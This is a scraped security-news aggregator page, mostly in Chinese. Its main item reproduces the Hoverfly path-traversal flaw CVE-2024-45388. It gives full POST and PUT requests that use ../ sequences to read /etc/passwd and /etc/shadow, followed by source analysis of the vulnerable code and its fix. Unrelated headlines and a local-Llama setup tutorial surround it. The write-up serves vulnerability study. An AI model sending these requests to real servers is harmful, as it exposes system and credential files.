Aggregator
CVE-2013-6954 | Oracle Java SE/JRockit/Java SE Embedded 6u71/7u51/8 AWT null pointer dereference (VU#650142 / Nessus ID 75395)
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任何任意文件。
环境搭建我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tags
docker pull spectolabs/hoverfly:v1.10.2docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
漏洞复现构造数据包
POST /api/v2/simulation HTTP/1.1Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}} PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
定义了 SimulationHandler 的路由注册方法,路由的每个 HTTP 方法(如 GET、PUT、POST、DELETE 等)都有一个对应的处理函数 (this.Get、this.Put、this.Post、this.Delete、this.Options、this.GetSchema)。这些函数处理实际的业务逻辑。
-
GET /api/v2/simulation: 处理获取模拟数据。
-
PUT /api/v2/simulation: 处理更新模拟数据。
-
POST /api/v2/simulation: 处理创建新的模拟数据。
-
DELETE /api/v2/simulation: 处理删除模拟数据。
-
OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。
-
GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。
-
OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。
POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
这个 ResolveAndValidatePath 函数用于从一个绝对路径(absBasePath)解析一个相对路径(relativePath),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".."),并且解析后的路径仍然在基路径之下。
以大模型为目标的威胁攻击与安全思考
以大模型为目标的威胁攻击与安全思考
勒索病毒战术进化:新型跨平台勒索病毒NotLockBit威胁Windows和macOS用户
CERT-AGID 14 – 20 dicembre: Vidar, Poste Italiane e 659 IoC
CVE-2017-9258 | Soundtouch 1.9.2 WAV File TDStretch.cpp processSamples resource consumption (EDB-42389 / Nessus ID 111239)
CVE-2001-0009 | IBM Lotus Domino notes.ini path traversal (EDB-20529 / Nessus ID 12248)
自己搭建专属AI:Llama大模型私有化部署
自己搭建专属AI:Llama大模型私有化部署
AI新时代,提高了生产力且能帮助用户快速解答问题,现在用的比较多的是Openai、Claude,为了保证个人隐私数据,所以尝试本地(Mac M3)搭建Llama模型进行沟通。
Gpt4all安装比较简单,根据 https://github.com/nomic-ai/gpt4all 下载客户端软件即可,打开是这样的:
然后选择并下载模型文件,这里以Llama为例:
下载模型文件完,选择模型文件则可以进行对话了:
也可以利用基于 nomic-embed-text嵌入模型,把文档转成向量方便语义检索和匹配。选择文档所在的目录:
然后对话中选择对应的文档即可:
如果文件太大,需要在设置适当添加token大小,太大也不好,处理会慢且机器会卡死:
gpt4all使用起来还是比较方便的,但是有几个缺点:有些能在huggingface.co搜到的模型在gpt4all上面搜不到、退出应用后聊天记录会消失。
安装也很方便,下载 https://ollama.com/download/Ollama-darwin.zip ,然后运行如下命令即可启动Llama:
ollama run llama3.2为了方便图形化使用,可以借助 https://github.com/open-webui/open-webui 完整图形化的使用,启动也很简单,直接使用官方仓库中的命令即可:
docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main然后访问本地的3000端口即可:
open-webui的原理也比较简单,Ollama启动后会在本地监听11434端口,open-webui也是利用这个端口来和Ollama通信完成的图形化使用。open-webui还可以多选模型一起回答:
整体测试下来,发现Llama3.2对于文档分析差点意思,给他提供一个pdf文档,也看不出个啥来。但是上面的gpt4all,然后通过nomic-embed-text模型嵌入后好点。
总结本文演示了通过不同手段来运行Llama模型,来达到本地使用LLM的目的。